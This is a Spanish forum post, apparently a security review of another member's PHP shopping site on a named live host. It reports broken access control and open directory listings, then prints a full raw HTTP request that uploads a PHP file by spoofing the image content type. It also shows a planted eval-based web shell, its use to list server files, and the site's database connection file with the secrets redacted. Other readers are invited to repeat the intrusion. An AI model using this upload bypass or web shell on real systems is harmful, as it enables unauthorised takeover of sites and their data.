Hola Caroxh1, tu sistema de compras tiene algunos errores muy graves.
Cuando te creas una cuenta y accedes con un usuario y tratas de ir al ícono del perfil del usuario puedes ver lo siguiente en el código fuente:
http://musicdum.260mb.net/usuarios/perfilusuario.php <a href='../admins/salir.php'>Salir</a> <h1></h1>
¿admins?, porque a un usuario sin privilegios se le muestra una ruta que dice admins?, asi que voy a
http://musicdum.260mb.net/admins/ y veo que tiene directory listing:
http://musicdum.260mb.net/admins/[PARENTDIR] Parent Directory - [unknown item..]
[TXT] salir.php 2020-08-03 13:30 110 PHP: Hypertext Preprocessor script
[TXT] ingresarproductos.php 2020-08-05 15:10 2.7K PHP: Hypertext Preprocessor script
[TXT] datosimagen.php 2020-08-23 13:22 1.2K PHP: Hypertext Preprocessor script
http://musicdum.260mb.net/php/Icon Name Last modified Size Description[PARENTDIR] Parent Directory - [unknown item..]
[TXT] eliminarCarrito.php 2020-07-26 14:41 542 PHP: Hypertext Preprocessor script
[TXT] conexion2.php 2020-08-07 20:08 2.3K PHP: Hypertext Preprocessor script
[TXT] conexion.php 2020-07-26 15:18 263 PHP: Hypertext Preprocessor script
El directorio /php/ lo obtuve desde el carrito de compras.
Asi que por curiosidad entro a
http://musicdum.260mb.net/admins/ingresarproductos.php y me doy cuenta que puedo administrar tus productos sin ser admin.
Por lo que veo tu sistema utiliza secciones que debiesen estar controladas por distintos privilegios y para eso debes crear roles de usuarios, si el usuario no es admin entonces no debiera cargar las paginas de administración y a los directorios sin un index debes crearles un index.html en blanco o un php que haga una redirección al home.
Por otro lado, cuando intentas agregar un producto al carro de compras, no funciona el modificar cantidad porque arroja un 404 y el de eliminar producto arroja un error 500.
A demás, cuando agregas un producto la imagen se sube de manera directa tal cual al servidor, con el mismo nombre y el mismo archivo al directorio público, asi que, si logras bypasear el filtro de tipo de extension de archivo talves se pueda subir una shell y con eso acceder a la db y a los archivos php.
EDITO: ya pude subir la shell. Veo que solo valida el content-type de la cabecera de la petición pero no el contenido o la extensión del archivo, por ejemplo:
$ ncat --crlf -v musicdum.260mb.net 80
POST /admins/datosimagen.php HTTP/1.1
Host: musicdum.260mb.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=---------------------------19531431397062997021845851424
Content-Length: 865
Origin: http://musicdum.260mb.net
DNT: 1
Connection: keep-alive
Referer: http://musicdum.260mb.net/admins/ingresarproductos.php
Cookie: ...
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="instrumento"
Ukelele
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="descripcion"
x
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="precio"
1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="categoria"
1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="inventario"
1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="imagen"; filename="x.php"
Content-Type: image/png
<?php phpinfo(); ?>
-----------------------------19531431397062997021845851424--
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Sep 2020 21:15:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: max-age=0
Expires: Sat, 05 Sep 2020 21:15:48 GMT
84
<script type="text/javascript">
alert("Registro exitoso");
window.location.href="ingresarproductos.php";
</script>
Como puedes ver en
http://musicdum.260mb.net/images/ el archivo x.php se ha subido al servidor sin problemas.
Esto sucede principalmente porque obtienes el nombre del archivo tal cual viene en la petición y lo concatenas con el directorio de subida de archivos, en ves de eso debes ponerle un nombre forzado, por ejemplo, el md5 del nombre original y cambiar la manera en que estás procesando el tipo de archivo permitido.
Ahi va la shell:
http://musicdum.260mb.net/images/salir.php (por alguna extraña razón el servidor no permite visualizar el archivo x.php, talves por lo corto del nombre, quien sabe).
PHP Version 7.4.8
/home/vol12_6/260mb.net
Con eso ya puedes tomar el control de todo el sistema web, modificar archivos, acceder a la base de datos, etc.
Mira, he subido una shell real:
<?php eval(urldecode(hex2bin($_GET['ex']))); ?>
view-source:http://musicdum.260mb.net/images/server.php?ex=7072696e745f7228676c6f6228272e2e2f2a2729293b
Array
(
[0] => ../admins
[1] => ../assets
[2] => ../carrito.sql
[3] => ../cart.php
[4] => ../checkout.php
[5] => ../contact.php
[6] => ../css
[7] => ../elhacker.net.html
[8] => ../evaluacion.php
[9] => ../files for your website should be uploaded here!
[10] => ../fondo.jpg
[11] => ../fonts
[12] => ../imagenes
[13] => ../images
[14] => ../index.html
[15] => ../index.php
[16] => ../ingresar.php
[17] => ../js
[18] => ../layouts
[19] => ../php
[20] => ../registers.php
[21] => ../registrar.php
[22] => ../scss
[23] => ../shop-single.php
[24] => ../thankyou.php
[25] => ../usuarios
)
Tu archivo conexion.php:
<?php
$servidor="sql204.260mb.net";
$nombreBd="n260m_[OCULTO]_carrito";
$usuario="n260m_[OCULTO]";
$pass="[OCULTO]";
$conexion = new mysqli($servidor,$usuario,$pass,$nombreBd);
if ($conexion->connect_error) {
die("No se pudo conectar");
}
?>
Por otro lado, el archivo ingresar.php el cual sirve para la autenticación:
<?php
include'php/conexion.php';
session_start();
$username = $_POST['usuario'];
$password = $_POST['password'];
$query = "SELECT * FROM usuario WHERE email =?";
$stmt = $conexion->prepare($query);
$stmt->bind_param("s",$username);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
if (password_verify($password, $result['password']) && $result['nivel']==2) {
$_SESSION['username'] = $username;
header("location: ./admins/ingresarproductos.php");
}else if (password_verify($password, $result['password'])) {
$_SESSION['username'] = $username;
header("location: ./index.php");
}else {
header("Location: registrar.php");
}
?>
Está muy bien que hagas bind de parámetros en la consulta sql para evitar inyecciones y me ha gustado que priorizes el uso de funciones nativas como password_verify().
Hay otros errores menores como por ejemplo solicitar contraseñas en un login que no tiene https y demás, pero son cosas básicas que no valen la pena mencionar.
Para los demás usuarios que están leyendo este post, les pido un poco de sentido común, para que podamos continuar realizando revisiones sin problemas, no sobreescriban ningún archivo de ese sitio ni se pongan a extraer o a publicar información de su base de datos. Mientras tanto, les puede servir para realizar pruebas e intentar llegar hasta donde yo lo hice para tomar mayor experiencia.
Gracias Caroxh1 por la oportunidad.
Saludos.